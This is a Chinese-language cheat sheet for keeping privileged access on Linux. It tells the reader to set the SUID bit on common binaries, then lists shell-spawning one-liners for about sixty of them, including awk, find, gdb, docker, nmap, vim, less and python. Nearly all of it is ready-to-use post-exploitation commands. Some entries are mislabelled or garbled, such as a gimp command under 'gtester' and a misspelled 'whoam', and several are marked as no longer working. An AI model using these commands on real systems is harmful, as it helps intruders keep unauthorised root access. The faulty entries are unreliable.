linux suid 权限维持速查表

赋权姿势：

chmod u+s programe

time

```
/usr/bin/time /bin/bash -c whoami
```

awk

```
awk 'BEGIN {system("/bin/bash -c whoami")}'
```

bash/sh

略

bushbox

```
busybox sh -c whoami
```

capsh

```
capsh -- -c whoami
```

cpio

```
echo '/bin/sh </dev/tty >/dev/tty' >localhost
cpio -o --rsh-command /bin/sh -F localhost:
```

cpulimit

```
cpulimit -l 100 -f /bin/bash -c whoami
```

csh

csh

```
csh -c whoami
```

dash

```
dash -c whoam
```

docker

```
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
```

ed

```
ed
!/bin/sh
```

emacs

```
emacs -Q -nw --eval '(term "/bin/sh")'
```

env

```
env /bin/sh
```

expect

```
expect -c 'spawn /bin/sh;interact'
```

find

```
find . -exec /bin/sh whoami\;
```

flock

```
flock -u / /bin/sh
```

gawk

```
gawk 'BEGIN {system("/bin/sh")}'
```

gdb

```
gdb -nx -ex '!sh' -ex quit
```

gtester

```
gimp -idf --batch-interpreter=python-fu-eval -b 'import os; os.system("sh")'
```

ionice

```
ionice /bin/sh
```

jjs

```
echo "Java.type('java.lang.Runtime').getRuntime().exec('/bin/sh -c \$@|sh _ echo sh <$(tty) >$(tty) 2>$(tty)').wai
tFor()" | jjs
```

hping3

```
hping3
```

```
/bin/sh
```

jrunscript

```
jrunscript -e "exec('/bin/sh -c \$@|sh _ echo sh <$(tty) >$(tty) 2>$(tty)')"
```

ksh

```
ksh
```

ld.so

```
/lib/ld.so /bin/sh
```

less

```
less /etc/profile
!/bin/sh
```

logsave

```
logsave /dev/null /bin/sh -i
```

lua

```
lua -e 'os.execute("/bin/sh")'
```

make

```
COMMAND='/bin/sh'
make -s --eval=$'x:\n\t-'"$COMMAND"
```

more

```
TERM= more /etc/profile
!/bin/sh
```

msgfilter

```
echo x | msgfilter -P /bin/sh -c '/bin/sh 0<&2 1>&2; kill $PPID'
```

mawk

```
mawk 'BEGIN {system("/bin/sh")}'
```

nawk

```
nawk 'BEGIN {system("/bin/sh")}'
```

nice

```
nice /bin/sh
```

nmap

```
TF=$(mktemp)
echo 'os.execute("/bin/sh")' > $TF
nmap --script=$TF

nmap --interactive
nmap> !sh
```

node

```
node -e 'child_process.spawn("/bin/sh", {stdio: [0, 1, 2]})'
```

nohup

```
nohup /bin/sh -c "sh <$(tty) >$(tty) 2>$(tty)"
```

openvpn

```
openvpn --dev null --script-security 2 --up '/bin/sh -c sh'
```

perl

```
perl -e 'exec "/bin/sh";'
```

pg

```
pg /etc/profile
!/bin/sh
```

php

```
export CMD="/bin/sh"
php -r 'system(getenv("CMD"));'
```

python（已失效）

```
python -c 'import os; os.system("/bin/sh")'
```

rlwrap

```
rlwrap /bin/sh
```

rsync

```
rsync -e 'sh -c "sh 0<&2 1>&2"' 127.0.0.1:/dev/null
```

run-parts

```
run-parts --new-session --regex '^sh$' /bin
```

rview（已失效）

```
rview -c ':py import os; os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
```

sqlite3

```
sqlite3 /dev/null '.shell /bin/sh'
```

start-stop-daemon

```
start-stop-daemon -n $RANDOM -S -x /bin/sh
```

stdbuf

```
stdbuf -i0 /bin/sh
```

strace

```
strace -o /dev/null /bin/sh
```

taskset

```
taskset 1 /bin/sh
```

tclsh

```
tclsh
exec /bin/sh <@stdin >@stdout 2>@stderr
```

timeout

```
timeout 7d /bin/sh
```

unshare

```
unshare /bin/sh
```

vimdiff

```
vimdiff -c ':!/bin/sh'
```

watch

```
watch -x sh -c 'reset; exec sh 1>&0 2>&0'
```

xargs

```
xargs -a /dev/null sh
```

zsh

-

```
zsh
```

写在最后：发现很多都失效了，但是部分有绕过的姿势